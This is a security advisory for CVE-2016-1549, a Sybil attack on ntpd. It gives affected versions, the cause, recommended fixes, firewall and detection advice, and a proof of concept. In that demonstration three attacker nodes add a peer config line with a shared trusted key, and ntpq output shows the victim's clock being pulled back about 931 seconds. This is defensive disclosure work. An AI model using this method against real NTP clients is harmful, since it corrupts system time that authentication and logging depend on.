CVE-2016-1549
ntpd is vulnerable to Sybil attacks. A malicious authenticated peer can create arbitrarily-many ephemeral associations in order to win ntpd’s clock selection algorithm and modify a victim’s clock.
NTP 4.2.8p3 NTP 4.2.8p4 NTPsec 3e160db8dc248a0bcb053b56a80167dc742d2b74 NTPsec a5fb34b9cc89b92a8fef2f459004865c93bb7f92
http://www.ntp.org http://www.ntpsec.org
CVSSv2: 3.5 - (AV:N/AC:M/Au:S/C:N/I:P/A:N) CVSSv3: 5.3 - CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N
ntpd has the ability to create ephemeral peer associations on the fly in response to certain kinds of incoming requests. In most common configurations, if an incoming request will cause a new ephemeral association to be mobilized, ntpd requires the request to be authenticated under a trusted symmetric key. However, ntpd does not enforce any limit on the number of active ephemeral associations that may be created under a single key making ntpd vulnerable to Sybil attacks.
A malicious authenticated peer can use its knowledge of the trusted key that it shares with a victim ntpd process in order to create multiple ephemeral associations with the victim from different source IP addresses. Each of these malicious associations can advertise false time to the victim. If the malicious associations providing consistent false time advertisements outweigh the number of legitimate peer associations, the victim will sync to the time advertised by the attacker.
RFC 5905 does not appear to mandate any specific behavior with regard to authenticating ephemeral associations. Therefore, we recommend that an incoming request only mobilize an ephemeral association if both of the following conditions hold:
There are no non-preemptible peer associations configured to use that key.
This prevents ephemeral associations from being created by configured, non-preemptible peers.
There are no preemptible peer associations authenticated under that key.
This prevents a malicious ephemeral peer from creating more than one peer association using a given key. If the IP address of an ephemeral peer changes, eventually the association will be demobilized at which time a new incoming request can cause a new association to be mobilized with a new IP address.
An alternative allowing faster failover: when an incoming request will mobilize a new ephemeral association, demobilize all preemptible peer associations authenticated under the key used to authenticate the incoming request before the new association is mobilized.
This vulnerability has been successfully exploited using symmetric ephemeral associations. However, ephemeral broadcast and manycast associations are also likely to be vulnerable.
To our knowledge, any ntpd instance configured using the ‘trustedkey’ directive is vulnerable, as in:
keys /etc/ntp.keys
trustedkey 1 ...
There does not appear to be any other configuration directives that would affect or mitigate this vulnerability. ntpd instances that are not configured with the ‘trustedkey’ directive are not vulnerable.
Though this vulnerability has only been confirmed against specific releases of NTP and NTPsec, any release of ntp-3 or ntp-4 may be affected.
To illustrate this attack, a malicious authenticated ephemeral peer (attacker1) with knowledge of keyid 2 trusted by ntp-client-4.2.8p4 will create multiple malicious ephemeral peer associations with ntp-client-4.2.8p4, overwhelm the victim’s legitimate time sources, and cause ntp-client-4.2.8p4 to modify its clock. We will illustrate this by querying ntp-client-4.2.8p4 for its active peer associations with:
ntpq -c lpeer
Initially, ntp-client-4.2.8p4 is peered with one legitimate server (ntp-server).
remote refid st t when poll reach delay offset jitter
==============================================================================
*ntp-server .LOCL. 1 u 5 8 377 0.043 -0.051 0.414
As a proof-of-concept, the attacker will attempt to move the victim’s clock back by an amount just under the panic threshold, 15 minutes in this case. (Significantly larger steps have been achieved with some ntpd releases.) The attacker spins up three attacking nodes at different IP addresses (attacker1..3).
After the attacking nodes are well synchronized, the attacker commences the attack by adding the following configuration line to each attacking node instructing it to peer with the victim using keyid 2:
peer ntp-client-4.2.8p4 key 2 noselect minpoll 3 maxpoll 3
As a result, we see that ntp-client-4.2.8p4 now has 3 new malicious peers.
remote refid st t when poll reach delay offset jitter
==============================================================================
*ntp-server .LOCL. 1 u 3 8 377 0.130 0.479 0.399
attacker1 .LOCL. 1 S 5 8 1 0.000 0.000 0.000
attacker2 192.168.33.14 2 S 5 8 1 0.000 0.000 0.000
attacker3 192.168.33.14 2 S 4 8 1 0.000 0.000 0.000
The attackers consistently provide time advertisements that are about 15 minutes behind the time advertised by the legitimate ntp-server. Because the attackers outnumber legitimate peers, eventually the victim selects an attacker as its system peer indicating that it will synchronize its time to the attackers.
remote refid st t when poll reach delay offset jitter
==============================================================================
xntp-server .LOCL. 1 u 1 8 377 0.130 0.479 0.501
*attacker1 .LOCL. 1 S 2 8 3 0.457 -931554 0.000
+attacker2 192.168.33.14 2 S 2 8 3 0.644 -931553 0.000
+attacker3 192.168.33.14 2 S 1 8 3 0.583 -931553 0.000
Eventually, the victim steps its clock.
remote refid st t when poll reach delay offset jitter
==============================================================================
ntp-server .STEP. 16 u - 8 0 0.000 0.000 0.000
attacker1 .STEP. 16 S 14 8 0 0.000 0.000 0.000
attacker2 .STEP. 16 S 52 8 0 0.000 0.000 0.000
attacker3 .STEP. 16 S 45 8 0 0.000 0.000 0.000
After stepping the clock, we see that the victim is 931 seconds behind ntp-server confirming the attack.
remote refid st t when poll reach delay offset jitter
==============================================================================
*ntp-server .LOCL. 1 u 2 8 1 0.379 931553. 0.317
attacker1 .STEP. 16 S 19 8 0 0.000 0.000 0.000
attacker2 .STEP. 16 S 57 8 0 0.000 0.000 0.000
attacker3 .STEP. 16 S 50 8 0 0.000 0.000 0.000
While ntp-server is initially selected as the system peer after the clock step, the attacking nodes quickly regain their status as preferred time sources.
remote refid st t when poll reach delay offset jitter
==============================================================================
xntp-server .LOCL. 1 u 5 8 3 0.278 931552. 0.638
*attacker1 .LOCL. 1 S 4 8 6 0.044 -0.346 0.049
+attacker2 192.168.33.14 2 S 4 8 6 0.593 0.520 0.441
+attacker3 192.168.33.14 2 S 3 8 6 0.758 0.020 0.074
At this point, the attacker has control of the victim’s clock and can continue to make modifications.
The most complete mitigation is to upgrade to ntp-TBD or NTPsec TBD. If your system’s ntpd is packaged by the system vendor, apply your vendor’s security update as soon as it becomes available.
Administrators that are not using authenticated NTP can prevent exploitation by removing any unused ‘trustedkey’ configuration directives from their ntpd configuration file.
If your system supports a host-based firewall which blocks incoming traffic, such as the Windows Firewall, Mac OS X Application Firewall, or firewalls such as Uncomplicated Firewall or iptables on Linux, you should enable it.
For other systems, appropriate firewall rules will depend on your environment. Use the following recommendations as a guideline:
NTP clients should block incoming NTP packets from any IP address that is not a known, legitimate peer
NTP servers should block incoming symmetric active (NTP mode 1), server (NTP mode 4), and broadcast (NTP mode 5) packets from any IP address that is not a known, legitimate peer
In most common configurations, you can use ntpq to query the ntpd process running on your system for its list of peers. Any unexpected peers that are not configured in your ntp.conf file could indicate an attack. For example, if your system is configured to be a client of ntp-server and you expect one peer (known-peer), the appearance of additional peers (sybil) could indicate an attack:
$ ntpq -c lpeer
remote refid st t when poll reach delay offset jitter
==============================================================================
*ntp-server .LOCL. 1 u 1 8 377 0.130 0.479 0.501
known-peer .LOCL. 1 S 2 8 3 0.457 -931554 0.000
sybil 192.168.33.14 2 S 2 8 3 0.644 -931553 0.000
You can delete any rogue associations by restarting ntpd after applying the mitigations above.
If you have a compatible IDS product, the following Snort rules detect exploits of this vulnerability: TBD.
At the network level, multiple symmetric, broadcast, or manycast associations using the same keyid could indicate an attack.
2016-01-19 - CERT reports to NTP
Discovered by Matthew Van Gundy of Cisco ASIG.